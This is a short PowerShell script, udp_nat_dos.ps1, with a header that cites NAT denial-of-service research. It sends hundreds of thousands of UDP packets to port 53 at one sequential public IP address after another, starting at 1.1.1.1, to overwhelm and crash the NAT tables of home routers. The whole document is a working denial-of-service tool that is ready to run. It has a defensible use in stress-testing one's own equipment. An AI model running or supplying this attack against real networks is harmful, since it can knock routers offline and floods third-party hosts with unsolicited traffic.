Sends many UDP packets to different target IPs. Tries to overhelm the NAT translation tables of NAT routers

udp_nat_dos.ps1

# Sends many UDP packets to different target IPs. Tries to overhelm the NAT translation tables of
# NAT routers
#
# Example calls:
#  Linux with installed Powershell: pwsh udp_nat_dos.ps1 
#  Windows .\udp_nat_dos.ps1
#
# Code adapted from https://www.msxfaq.de/code/powershell/psudp.htm
# Original source seems to be: http://pshscripts.blogspot.de/2008/12/send-udpdatagramps1.html
#
# Literature:
# - [NAT Denial of Service: An Analysis of Translation Table Behavior on Multiple Platforms, Nathan Winemiller et.al., 2012](https://scholarworks.rit.edu/cgi/viewcontent.cgi?referer=&httpsredir=1&article=1756&context=other)
# - [Discussion on Stack Exchange regarding Asus router](https://security.stackexchange.com/questions/103505/router-reboots-when-using-nmap)
# - [Discussion on serverfault regarding FritzBox](https://serverfault.com/questions/989518/router-reboots-when-doing-port-scanning)
# - [Wie viele NAT-Sessions verträgt mein Router?](https://www.nwlab.net/know-how/Router-Test-Tool/) - "Aktuelle DSL-Router erlauben oft einige Tausend Verbindungen. Die AVM Fritzbox 7390 schaffte in unseren Tests etwa 7.000 Sessions."

param (	
	# port to send to
	[ValidateRange(1, 65535)]
	[int]$remoteudpport = 53,	

	# SourcePort, 0 uses an available port
	[ValidateRange(0, 65535)]
	[int]$sourceudpport = 0, 

	[string]$buffer = "x",

	# packetcount
	[int]$packetcount = 200000					
)

$ErrorActionPreference = "Stop"

[DateTime]$start = [Datetime]::Now
[int]$count = 0
try {
	# start ip
	[IPAddress]$remoteip = [IPAddress] "1.1.1.1"

	$udpClient = new-Object system.Net.Sockets.Udpclient($sourceudpport)
	$byteBuffer = [System.Text.Encoding]::ASCII.GetBytes($buffer)
	$byteBufLen = $byteBuffer.length

	Write-Host "Lets go..."
	for ($i = 0; $i -lt $packetcount; $i++) {
		# sent packet
		$sentbytes = $udpClient.Send($byteBuffer, $byteBufLen, $remoteip, $remoteudpport)
		if ($sentbytes -ne $byteBufLen) {
			write-host "Error: Send Bytes Mismatch"
		}

		# increase packet counter
		$count++
		# change ip address by adding 1
		$remoteip = New-Object System.Net.IPAddress($remoteip.Address + 1)
	}
}
catch {
	write-host "Error:" $error
}
finally {
	$udpclient.close()
	[DateTime]$end = [Datetime]::Now
	$duration = $end - $start
	write-host "count:" $count
	write-host "Duration:" $duration "`nPackets per second:" ( $count / $duration * 10000000 )
}